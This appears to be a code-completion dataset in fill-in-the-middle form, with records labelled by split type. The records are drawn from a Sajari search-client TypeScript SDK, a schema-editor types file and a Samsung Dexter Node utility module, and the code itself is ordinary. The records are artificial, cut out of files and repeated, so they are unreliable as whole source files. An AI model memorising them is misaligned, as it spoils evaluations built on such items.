number | boolean | string[] | number[] | boolean[] | ValueFunc; export const EVENT_VALUES_UPDATED = "values-changed"; export class Values extends EventEmitter { private internal: Record<string, ValueType>; constructor(initial: Record<string, ValueType> = {}) { super(); this.internal = initial; } _internalUpdate(values: Record<string, ValueType | undefined>) { Object.keys(values).forEach((key) => { const value = values[key]; if (value === undefined) { delete this.internal[key]; } else { this.internal[key] = value; } }); } update(values: Record<string, ValueType | undefined>) { this._internalUpdate(values); this.emit( EVENT_VALUES_UPDATED, values, (values: Record<string, ValueType | undefined>) => this._internalUpdate(values) ); } get(): Record<string, string> { const values: Record<string, string> = {}; Object.entries(this.internal).forEach(([key, value]) => { if (typeof value === "function") { values[key] = value(); } else if (Array.isArray(value)) { values[key] = value.join(","); } else { values[key] = "" + value; } }); return values; } } export type TokenState = { token: PosNegToken; clickSubmitted: boolean; }; export const POS_NEG_STORAGE_KEY = "sajari_tokens"; // Just here to handle SSR execution (docs) const setItem = (key: string, value: string) => { if (isSSR()) { return; } return localStorage.setItem(key, value); }; const getItem = (key: string): string | null => { if (isSSR()) { return ""; } return localStorage.getItem(key); }; /** * PosNegLocalStorageManager is a utility class for manipulating Sajari's localstorage based * management of PosNeg tokens. Typical use case is storing tokens for later consumption * as users move through an ecommerce purchase funnel. */ export class PosNegLocalStorageManager { currentTokens: Record<string | number, TokenState>; client: Client; constructor(client: Client) { const storageContent = getItem(POS_NEG_STORAGE_KEY); try { this.currentTokens = storageContent ? JSON.parse(storageContent) : {}; } catch (e) { this.currentTokens = {}; console.error( "Sajari PosNeg local storage key contains corrupt data.", storageContent ); } this.client = client; } add(fieldValue: string | number, token: PosNegToken) { this.currentTokens[fieldValue] = { token, clickSubmitted: false }; setItem(POS_NEG_STORAGE_KEY, JSON.stringify(this.currentTokens)); } get(fieldValue: string | number): TokenState | undefined { return this.currentTokens[fieldValue]; } sendPosEvent( fieldValue: string | number, identifier: string, weight: number ) { const tokenState = this.get(fieldValue); if (tokenState === undefined) { return; } this.client.interactionConsume(tokenState.token.pos, identifier, weight); } sendClickEvent(fieldValue: string | number) { const tokenState = this.get(fieldValue); if (tokenState === undefined || tokenState.clickSubmitted !== false) { return; } this.sendPosEvent(fieldValue, "click", 1); this.currentTokens[fieldValue].clickSubmitted = true; setItem(POS_NEG_STORAGE_KEY, JSON.stringify(this.currentTokens)); } sendPendingClicks() { Object.keys(this.currentTokens).forEach((fieldValue) => { if (this.currentTokens[fieldValue].clickSubmitted === false) { this.sendClickEvent(fieldValue); this.currentTokens[fieldValue].clickSubmitted = true; } }); } }
data["ga"] = val; return data; }
conditional_block
index.ts
import { USER_AGENT } from "./user-agent"; import EventEmitter from "./events"; import { isSSR } from "./ssr"; export { EventEmitter }; /** * NetworkError defines an error occuring from the network. */ export class NetworkError extends Error { type: "CONNECTION"; constructor(message: string) { super(message); this.type = "CONNECTION"; } } /** * RequestError defines an error occuring from a request. */ export class RequestError extends Error { statusCode: number; error?: Error; constructor(statusCode: number, message: string, error?: Error) { super(message); this.statusCode = statusCode; this.error = error; } } type ConfigObj = { /** * Redirect URL for click tracking. Prepended to the the front of the token * returned by the engine. */ clickTokenURL: string; /** * Callers can set this to add an additional user agent value to the request's metadata. */ userAgent: string; }; const configDefaults: ConfigObj = { clickTokenURL: "https://re.sajari.com/token/", userAgent: "", }; /** * Client defines a client for interacting with the Sajari API. */ export class Client { // The account ID (formerly called project). project: string; // The collection ID. collection: string; endpoint: string; key?: string; secret?: string; config: ConfigObj; userAgent: string = ""; /** * Constructs an instance of Client for a specific account and collection. * * ```javascript * const client = new Client("<account_id>", "<collection_id>"); * ``` * * It is also possible to optionally set the API endpoint: * * ```javascript * const client = new Client("<account_id>", "<collection_id>", "<endpoint>"); * ``` * * @param project * @param collection * @param {string} [endpoint] */ constructor( project: string, collection: string, endpoint: string = `${isSSR() ? "https:" : ""}//jsonapi.sajari.net`, key?: string, secret?: string, config?: Partial<ConfigObj> ) { // Key/secret is only allowed in non SSR context if (!isSSR() && [key, secret].some(Boolean)) { throw new Error( "key/secret authorization is only supported for server-side rendering." ); } this.project = project; this.collection = collection; this.endpoint = endpoint; this.key = key; this.secret = secret; this.config = Object.assign(configDefaults, config); this.interactionConsume = this.interactionConsume.bind(this); } /** * call executes a request to the Sajari API */ async call<Response = any>( path: string, request: Record<string, any>, signal?: AbortSignal ): Promise<Response> { // Check we have a connection in non SSR context if (!isSSR() && !navigator.onLine) { throw new NetworkError( "Search request failed due to a network error. Please check your network connection." ); } const metadata = { project: [this.project], collection: [this.collection], "user-agent": [ [USER_AGENT, this.userAgent, this.config.userAgent] .filter(Boolean) .join(" "), ], }; // Only allow key/secret for SSR contexts if (isSSR() && [this.key, this.secret].every(Boolean)) { Object.assign(metadata, { authorization: [`keysecret ${this.key} ${this.secret}`], }); } const resp = await fetch(`${this.endpoint}${path}`, { signal, method: "POST", headers: { Accept: "application/json", // XXX: This is to remove the need for the OPTIONS request // https://stackoverflow.com/questions/29954037/why-is-an-options-request-sent-and-can-i-disable-it "Content-Type": "text/plain", }, body: JSON.stringify({ metadata, request, }), }); if (resp.status !== 200) { let message = resp.statusText; try { let response = await resp.json(); message = response.message; } catch (_) {} if (resp.status === 403) { throw new RequestError( resp.status, "This domain is not authorized to make this search request.", new Error(message) ); } throw new RequestError( resp.status, "Search request failed due to a configuration error.", new Error(message) ); } return await resp.json(); } /** * pipeline creates a new QueryPipeline instance that inherits configuration from the Client. * @param name pipeline name * @param {string} [version] pipeline version */ pipeline(name: string, version?: string): QueryPipeline { return new QueryPipeline(this, name, version); } /** * interactionConsume consumes an interaction token. */ async interactionConsume( token: string, identifier: string, weight: number, data: Record<string, string> = {} ) { return this.call<void>("/sajari.interaction.v2.Interaction/ConsumeToken", { token, identifier, weight, data, }); } } /** * Type of pipeline. */ export enum PipelineType { /** * Query pipeline. */ Query = 1, /** * Record pipeline. */ Record = 2, } export interface Step { identifier: string; title?: string; description?: string; parameters?: { [name: string]: { name?: string; defaultValue?: string; }; }; constants?: { [name: string]: { value?: string; }; }; condition?: string; } /** * Pipeline ... */ export interface Pipeline { identifier: PipelineIdentifier; created: Date; description?: string; steps: { preSteps: Step[]; postSteps: Step[]; }; } /** * PipelineIdentifier ... */ export interface PipelineIdentifier { name: string; version?: string; } export const EVENT_SEARCH_SENT = "search-sent"; /** * QueryPipeline is a client for running query pipelines on a collection. See * [[QueryPipeline.search]] for more details. * * Create a new QueryPipeline via [[Client.pipeline]]. * * ```javascript * // const client = new Client(...); * const pipeline = client.pipeline("website"); * ``` */ class QueryPipeline extends EventEmitter { private client: Client; readonly identifier: PipelineIdentifier; constructor(client: Client, name: string, version?: string) { super(); this.client = client; this.identifier = { name: name, version: version, }; } /** * Search runs a search query defined by a pipeline with the given values and * session configuration. * * ```javascript * pipeline.search({ q: "<search query>" }) * .then(([response, values]) => { * // handle response * }) * .catch(error => { * // handle error * }) * ``` * * @param values * @param tracking */ async search( values: Record<string, string>, tracking?: Tracking ): Promise<[SearchResponse, Record<string, string>]> { let pt: TrackingProto = { type: TrackingType.None }; if (tracking !== undefined) { const { queryID, ...rest } = tracking; pt = { query_id: queryID, ...rest, }; } this.emit(EVENT_SEARCH_SENT, values); let jsonProto = await this.client.call<SearchResponseProto>( "/sajari.api.pipeline.v1.Query/Search", { pipeline: this.identifier, tracking: pt, values, } ); const aggregates = Object.entries( jsonProto.searchResponse?.aggregates || {} ) .map(([key, aggregate]) => { if ("metric" in aggregate) { let [t, k] = key.split("."); return { type: t, key: k, value: aggregate.metric.value, }; } if ("count" in aggregate) { return { type: "count", key: key.replace(/^count./, ""), value: aggregate.count.counts, }; } if ("buckets" in aggregate) { return { type: "count", key: "buckets", value: Object.values(aggregate.buckets?.buckets ?? {}).reduce( (obj, { name, count }) => Object.assign(obj, { [name]: count, }), {} ), }; } return { key, value: aggregate }; }) .reduce<Aggregates>((obj, item) => { if (item.type === undefined) { console.debug(item); return obj; } if (obj[item.key] === undefined) { obj[item.key] = {}; } // @ts-ignore obj[item.key][item.type] = item.value; return obj; }, {}); const aggregateFilters = Object.entries( jsonProto.searchResponse?.aggregateFilters || {} ) .map(([key, aggregate]) => { if ("metric" in aggregate) { let [t, k] = key.split("."); return { type: t, key: k, value: aggregate.metric.value, }; } if ("count" in aggregate) { return { type: "count", key: key.replace(/^count./, ""), value: aggregate.count.counts, }; } if ("buckets" in aggregate) { return { type: "count", key: "buckets", value: Object.values(aggregate.buckets?.buckets ?? {}).reduce( (obj, { name, count }) => Object.assign(obj, { [name]: count, }), {} ), }; } return { key, value: aggregate }; }) .reduce<Aggregates>((obj, item) => { if (item.type === undefined) { console.debug(item); return obj; } if (obj[item.key] === undefined) { obj[item.key] = {}; } // @ts-ignore obj[item.key][item.type] = item.value; return obj; }, {}); const results: Result[] = (jsonProto.searchResponse?.results || []).map( ({ indexScore, score, values }, index) => { let t: Token | undefined = undefined; const token = (jsonProto.tokens || [])[index]; if (token !== undefined) { if ("click" in token) { t = { click: this.client.config.clickTokenURL + token.click.token }; } else if ("pos" in token) { t = { ...token }; } else if ("posNeg" in token) { t = { pos: token.posNeg.pos, neg: token.posNeg.neg, }; } } return { indexScore, score, values: processProtoValues(values), token: t, }; } ); let redirects = {} as Redirects; if (jsonProto.redirects) { redirects = Object.entries(jsonProto.redirects).reduce( (acc, [queryString, target]) => { acc[queryString] = target; acc[queryString]["token"] = this.client.config.clickTokenURL + acc[queryString]["token"]; return acc; }, {} as Redirects ); } return [ { time: parseFloat(jsonProto.searchResponse?.time || "0.0"), totalResults: parseInt( jsonProto.searchResponse?.totalResults || "0", 10 ), results: results, aggregates: aggregates, aggregateFilters: aggregateFilters, redirects: redirects, }, jsonProto.values || {}, ]; } } export interface SearchResponse { /** * Time in seconds taken to perform the query. */ time: number; /** * totalResults is the total number of results. */ totalResults: number; /** * Results of the query. */ results: Result[]; /** * Aggregates computed on the query results (see [[Aggregates]]). */ aggregates: Aggregates; /** * AggregateFilters computed on the query results (see [[Aggregates]]). */ aggregateFilters: Aggregates; /** * All Redirects for which the current query is a starting substring (see [[Redirects]]). */ redirects: Redirects; } export interface Result { /** * indexScore is the index-matched score of this Result. */ indexScore: number; /** * score is the overall score of this [[Result]]. */ score: number; /** * values is an object of field-value pairs. */ values: Record<string, string | string[]>; /** * token is the [[Token]] associated with this [[Result]] (if any). */ token?: Token; } export type Token = ClickToken | PosNegToken; /** * ClickToken defines a click token. See [[TrackingType.Click]] for more details. */ export type ClickToken = { click: string }; /** * PosNegToken defines a pos/neg token pair. See [[TrackingType.PosNeg]] for more details. */ export type PosNegToken = { pos: string; neg: string }; export type Aggregates = Record< string, Record<string, CountAggregate | MetricAggregate> >; export interface CountAggregate { count: Record<string, number>; } export type MetricAggregate = number; /** * A Redirect defines a search string which clients should handle by sending users to a specific location * instead of a standard search results screen. In a default setup, these are only returned by an autocomplete * pipeline. Web search clients handle redirects by sending the web browser to the `target` or `token` URL. * Other clients (mobile) may handle redirect forwarding differently. * See [[Redirects]] for redirect collection details. */ export interface RedirectTarget { id: string; target: string; token?: string; } /** * All redirects which match the current query substring are returned. An autocomplete query where `q` is "foo" * could result in a redirects collection containing `{"foobar": {…}, "foo qux": {…}}` being returned. * See [[RedirectTarget]] for shape of target object. */ export interface Redirects { [redirectQuery: string]: RedirectTarget; } /** * @hidden */ export interface SearchResponseProto { searchResponse?: Partial<{ time: string; totalResults: string; results: ResultProto[]; aggregates: AggregatesProto; aggregateFilters: AggregatesProto; }>; tokens?: TokenProto[]; values?: Record<string, string>; redirects?: Redirects; } /** * @hidden */ type TokenProto = | undefined | { click: { token: string }; } | { pos: string; neg: string; } | { posNeg: { pos: string; neg: string; }; }; /** * @hidden */ type ValueProto = | { single: string } | { repeated: { values: string[] } } | { singleBytes: string } | { null: boolean }; /** * @hidden */ function processProtoValues(values: Record<string, ValueProto>) { let vs: Record<string, string | string[]> = {}; Object.keys(values).forEach((key) => { let v = valueFromProto(values[key]); if (v !== null) { vs[key] = v; } }); return vs; } /** * @hidden */ function valueFromProto(value: ValueProto): string | string[] | null { if ("single" in value) { return value.single; } else if ("repeated" in value) { return value.repeated.values; } else if ("singleBytes" in value) { return value.singleBytes; } return null; } /** * @hidden */ interface ResultProto { indexScore: number; score: number; values: Record<string, ValueProto>; } /** * @hidden */ type AggregatesProto = Record< string, CountAggregateProto | MetricAggregateProto | BucketAggregateProto >; /** * @hidden */ interface CountAggregateProto { count: { counts: Record<string, number>; }; } /** * @hidden */ interface BucketAggregateProto { buckets?: { buckets?: Record< string, { name: string; count: number; } >; }; } /** * @hidden */ interface MetricAggregateProto { metric: { value: number; }; } /** * Tracking defines behaviour for handling search sessions and result interactions. */ export type Tracking = { type: TrackingType; queryID?: string; sequence?: number; field?: string; data?: Record<string, string>; }; /** * @hidden */ interface TrackingProto { type: TrackingType; query_id?: string; sequence?: number; field?: string; data?: Record<string, string>; } /** * TrackingType defines the possible result-interaction tracking types used by [[Session]] */ export enum TrackingType { /** * None disables tracking. */ None = "NONE", /** * Click generates click tracking tokens. */ Click = "CLICK", /** * PosNeg creates pos/neg tracking tokens. */ PosNeg = "POS_NEG", } /** * Session takes query values, maintains session state, and returns tracking data * to be sent with search requests. */ export interface Session { /** * next returns [[Tracking]] to be sent with search requests. * @param values */ next(values?: Record<string, string>): Tracking; /** * reset sets the [[Session]] instance to its empty state. */ reset(): void; } export const EVENT_TRACKING_RESET = "tracking-reset"; /** * DefaultSession holds state of a sequence of searches. */ export class DefaultSession extends EventEmitter implements Session { private queryID: string = ""; private sequence: number = 0; private type: TrackingType; private field?: string; private data?: Record<string, string>; constructor( type: TrackingType, field?: string, data?: Record<string, string> ) { super(); this.type = type; this.field = field; this.data = mergeTrackingData(data); } next(_?: Record<string, string>): Tracking { if (this.queryID === "") { this.queryID = newQueryID(); this.sequence = 0; } else { this.sequence++; } return { type: this.type, queryID: this.queryID, sequence: this.sequence, field: this.field, data: this.data, }; } reset() { this.emit(EVENT_TRACKING_RESET); this.queryID = ""; this.sequence = 0; } } /** * mergeTrackingData combines the provided session data with the requesters * google analytics ID and/or Sajari ID if present in the documents cookie. * * Because this is meant to be used on the client side, when in SSR mode * it will always return empty object * @hidden */ function mergeTrackingData(data?: Record<string, string>) { if (typeof window === "undefined") { return {}; } const cookieData = document.cookie .split(";") .filter((item) => item.includes("_ga") || item.includes("sjID")) .map((item) => item.split("=")) .reduce((data, [key, val]) => { if (key === "_ga") { data["ga"] = val; return data; } data[key] = val; return data; }, {} as Record<string, string>); if (data === undefined) { return cookieData; } Object.entries(cookieData).forEach(([key, val]) => { data[key] = val; }); return data; } /** * newQueryID constructs a new ID for a query. * @hidden */ function newQueryID(len: number = 16): string { let output = ""; for (let i = 0; i < len; i++) { output += "abcdefghijklmnopqrstuvwxyz0123456789".charAt( Math.floor(Math.random() * 36) ); } return output; } /** * InteractiveSession creates a session based on text searches and is recommended * for use in search-as-you-type style interfaces. * * It resets the session if the search query value: * * - Is `undefined`. * - First 3 characters have changed (i.e. from a direct replacement) * - Cleared after being non-empty (i.e. from a delete) */ export class InteractiveSession implements Session { private session: Session; private textParam: string; private lastQuery: string; constructor(textParam: string, session: Session) { this.textParam = textParam; this.session = session; this.lastQuery = ""; } next(values: Record<string, string>): Tracking { const text = values[this.textParam]; if (text === undefined) { this.reset(); return this.session.next(values); } const shortendPreviousQuery = this.lastQuery.substr( 0, Math.min(text.length, 3) ); const firstThreeCharsChanged = text.substr(0, shortendPreviousQuery.length) !== shortendPreviousQuery; const queryCleared = this.lastQuery.length > 0 && text.length === 0; if (firstThreeCharsChanged || queryCleared) { this.reset(); } this.lastQuery = text; return this.session.next(values); } reset() { this.session.reset(); } } type FilterFunc = () => string; export const EVENT_SELECTION_UPDATED = "selection-updated"; export const EVENT_OPTIONS_UPDATED = "options-updated"; export class Filter extends EventEmitter { private options: Record<string, string | FilterFunc>; private active: string[]; private multi: boolean; private joinOp: "OR" | "AND"; constructor( options: Record<string, string>, initial: string[] = [], multi = false, joinOp: "OR" | "AND" = "OR" ) { super(); this.options = options; this.active = initial; this.multi = multi; this.joinOp = joinOp; } set(key: string, active = true) { if (this.multi) { if (active && this.active.indexOf(key) === -1) { this.active = this.active.concat(key); } else { this.active = this.active.filter((k) => k !== key); } this.emit(EVENT_SELECTION_UPDATED, [...this.active]); return; } if (active) { this.active = [key]; } else { this.active = []; } this.emit(EVENT_SELECTION_UPDATED, [...this.active]); } isActive(key: string): boolean { return this.active.indexOf(key) !== -1; } get(): string[] { return [...this.active]; } updateOptions(options: Record<string, string | FilterFunc | undefined>) { Object.keys(options).forEach((key) => { const value = options[key]; if (value === undefined) { delete this.options[key]; this.active = this.active.filter((k) => k !== key); return; } this.options[key] = value; }); this.emit(EVENT_OPTIONS_UPDATED, { ...this.options }); } getOptions(): Record<string, string | FilterFunc> { return { ...this.options }; } filter(): string { const filters = this.active .map((key) => { let filter = this.options[key]; if (typeof filter === "function") { filter = filter(); } if (filter !== "") { filter = `(${filter})`; } return filter; }) .filter(Boolean); switch (filters.length) { case 0: return ""; case 1: return filters[0]; default: return filters.join(` ${this.joinOp} `); } } } export type ValueFunc = () => string; export type ValueType = | string | number | boolean | string[] | number[] | boolean[] | ValueFunc; export const EVENT_VALUES_UPDATED = "values-changed"; export class Values extends EventEmitter { private internal: Record<string, ValueType>; constructor(initial: Record<string, ValueType> = {}) { super(); this.internal = initial; } _internalUpdate(values: Record<string, ValueType | undefined>) { Object.keys(values).forEach((key) => { const value = values[key]; if (value === undefined) { delete this.internal[key]; } else { this.internal[key] = value; } }); } update(values: Record<string, ValueType | undefined>) { this._internalUpdate(values); this.emit( EVENT_VALUES_UPDATED, values, (values: Record<string, ValueType | undefined>) => this._internalUpdate(values) ); } get(): Record<string, string> {
export type TokenState = { token: PosNegToken; clickSubmitted: boolean; }; export const POS_NEG_STORAGE_KEY = "sajari_tokens"; // Just here to handle SSR execution (docs) const setItem = (key: string, value: string) => { if (isSSR()) { return; } return localStorage.setItem(key, value); }; const getItem = (key: string): string | null => { if (isSSR()) { return ""; } return localStorage.getItem(key); }; /** * PosNegLocalStorageManager is a utility class for manipulating Sajari's localstorage based * management of PosNeg tokens. Typical use case is storing tokens for later consumption * as users move through an ecommerce purchase funnel. */ export class PosNegLocalStorageManager { currentTokens: Record<string | number, TokenState>; client: Client; constructor(client: Client) { const storageContent = getItem(POS_NEG_STORAGE_KEY); try { this.currentTokens = storageContent ? JSON.parse(storageContent) : {}; } catch (e) { this.currentTokens = {}; console.error( "Sajari PosNeg local storage key contains corrupt data.", storageContent ); } this.client = client; } add(fieldValue: string | number, token: PosNegToken) { this.currentTokens[fieldValue] = { token, clickSubmitted: false }; setItem(POS_NEG_STORAGE_KEY, JSON.stringify(this.currentTokens)); } get(fieldValue: string | number): TokenState | undefined { return this.currentTokens[fieldValue]; } sendPosEvent( fieldValue: string | number, identifier: string, weight: number ) { const tokenState = this.get(fieldValue); if (tokenState === undefined) { return; } this.client.interactionConsume(tokenState.token.pos, identifier, weight); } sendClickEvent(fieldValue: string | number) { const tokenState = this.get(fieldValue); if (tokenState === undefined || tokenState.clickSubmitted !== false) { return; } this.sendPosEvent(fieldValue, "click", 1); this.currentTokens[fieldValue].clickSubmitted = true; setItem(POS_NEG_STORAGE_KEY, JSON.stringify(this.currentTokens)); } sendPendingClicks() { Object.keys(this.currentTokens).forEach((fieldValue) => { if (this.currentTokens[fieldValue].clickSubmitted === false) { this.sendClickEvent(fieldValue); this.currentTokens[fieldValue].clickSubmitted = true; } }); } }
const values: Record<string, string> = {}; Object.entries(this.internal).forEach(([key, value]) => { if (typeof value === "function") { values[key] = value(); } else if (Array.isArray(value)) { values[key] = value.join(","); } else { values[key] = "" + value; } }); return values; } }
identifier_body
types.ts
export interface ISchemaCodeProps { schema: any onChange?: Function } export interface ISchemaTreeProps { schema: any onSelect?: Function onChange?: Function } export interface IFieldEditorProps { schema: object components: any xProps: any xRules: any onChange?: (newSchema: any) => void } export interface ISchemaPreviewProps { schema: object } export enum ComponentTypes { ANTD = 'antd', FUSION = 'fusion', CUSTOM = 'custom' } export enum InputTypes { INPUT = 'input', NUMBER_PICKER = 'numberPicker', CHECKBOX = 'checkbox', TEXT_AREA = 'textArea' } export enum ComponentPropsTypes { X_COMPONENT = 'x-component', X_PROPS = 'x-props',
X_COMPONENT_PROPS = 'x-component-props', X_RULES = 'x-rules' }
random_line_split
dexter-util.js
/** * Copyright (c) 2015 Samsung Electronics, Inc., * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, this * list of conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright notice, * this list of conditions and the following disclaimer in the documentation * and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ "use strict"; var moment = require('moment'); var log = require('../util/logging'); var _ = require('lodash'); exports.getCurrentTimeString = function () {
/* refer to : http://stackoverflow.com/questions/3653065/get-local-ip-address-in-node-js */ exports.getLocalIPAddress = function(){ var interfaces = require('os').networkInterfaces(); for (var devName in interfaces) { var iface = interfaces[devName]; for (var i = 0; i < iface.length; i++) { var alias = iface[i]; if (alias.family === 'IPv4' && alias.address !== '127.0.0.1' && !alias.internal) return alias.address; } } return '0.0.0.0'; }; exports.getCliOptions = function() { var options = {}; _(process.argv).forEach(function(item){ var option = item.split('='); if(isValidCliOption(option)){ option[0] = _.trim(option[0]) var key = option[0].substr(1, (option[0].length-1)); options[key] = _.trim(option[1]); } }).value(); return { options: options, getValue: function (key, defaultValue){ if(!key || _.trim(key).length === 0){ return undefined; } var _key = _.trim(key); if(this.options[_key]){ return this.options[_key]; } else if(defaultValue){ this.options[_key] = defaultValue; return defaultValue; } else { return undefined; } } }; }; function isValidCliOption(option){ if(_.isArray(option) === false || option.length !== 2) return false; var key = _.trim(option[0]); var value = _.trim(option[1]); if(key.length < 2) return false; if(value.length < 1) return false; return key.startsWith('-'); }
var now = moment().format(); return now.replace(/\..+/, '').replace(/\-/g, '').replace(/\:/g, '').replace(/T/, '-').substr(0,15); };
random_line_split
dexter-util.js
/** * Copyright (c) 2015 Samsung Electronics, Inc., * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, this * list of conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright notice, * this list of conditions and the following disclaimer in the documentation * and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ "use strict"; var moment = require('moment'); var log = require('../util/logging'); var _ = require('lodash'); exports.getCurrentTimeString = function () { var now = moment().format(); return now.replace(/\..+/, '').replace(/\-/g, '').replace(/\:/g, '').replace(/T/, '-').substr(0,15); }; /* refer to : http://stackoverflow.com/questions/3653065/get-local-ip-address-in-node-js */ exports.getLocalIPAddress = function(){ var interfaces = require('os').networkInterfaces(); for (var devName in interfaces) { var iface = interfaces[devName]; for (var i = 0; i < iface.length; i++) { var alias = iface[i]; if (alias.family === 'IPv4' && alias.address !== '127.0.0.1' && !alias.internal) return alias.address; } } return '0.0.0.0'; }; exports.getCliOptions = function() { var options = {}; _(process.argv).forEach(function(item){ var option = item.split('='); if(isValidCliOption(option)){ option[0] = _.trim(option[0]) var key = option[0].substr(1, (option[0].length-1)); options[key] = _.trim(option[1]); } }).value(); return { options: options, getValue: function (key, defaultValue){ if(!key || _.trim(key).length === 0){ return undefined; } var _key = _.trim(key); if(this.options[_key]){ return this.options[_key]; } else if(defaultValue){ this.options[_key] = defaultValue; return defaultValue; } else { return undefined; } } }; }; function isValidCliOption(option)
{ if(_.isArray(option) === false || option.length !== 2) return false; var key = _.trim(option[0]); var value = _.trim(option[1]); if(key.length < 2) return false; if(value.length < 1) return false; return key.startsWith('-'); }
identifier_body
dexter-util.js
/** * Copyright (c) 2015 Samsung Electronics, Inc., * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, this * list of conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright notice, * this list of conditions and the following disclaimer in the documentation * and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ "use strict"; var moment = require('moment'); var log = require('../util/logging'); var _ = require('lodash'); exports.getCurrentTimeString = function () { var now = moment().format(); return now.replace(/\..+/, '').replace(/\-/g, '').replace(/\:/g, '').replace(/T/, '-').substr(0,15); }; /* refer to : http://stackoverflow.com/questions/3653065/get-local-ip-address-in-node-js */ exports.getLocalIPAddress = function(){ var interfaces = require('os').networkInterfaces(); for (var devName in interfaces) { var iface = interfaces[devName]; for (var i = 0; i < iface.length; i++) { var alias = iface[i]; if (alias.family === 'IPv4' && alias.address !== '127.0.0.1' && !alias.internal) return alias.address; } } return '0.0.0.0'; }; exports.getCliOptions = function() { var options = {}; _(process.argv).forEach(function(item){ var option = item.split('='); if(isValidCliOption(option)){ option[0] = _.trim(option[0]) var key = option[0].substr(1, (option[0].length-1)); options[key] = _.trim(option[1]); } }).value(); return { options: options, getValue: function (key, defaultValue){ if(!key || _.trim(key).length === 0){ return undefined; } var _key = _.trim(key); if(this.options[_key]){ return this.options[_key]; } else if(defaultValue){ this.options[_key] = defaultValue; return defaultValue; } else { return undefined; } } }; }; function
(option){ if(_.isArray(option) === false || option.length !== 2) return false; var key = _.trim(option[0]); var value = _.trim(option[1]); if(key.length < 2) return false; if(value.length < 1) return false; return key.startsWith('-'); }
isValidCliOption
identifier_name
dexter-util.js
/** * Copyright (c) 2015 Samsung Electronics, Inc., * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, this * list of conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright notice, * this list of conditions and the following disclaimer in the documentation * and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, * OR 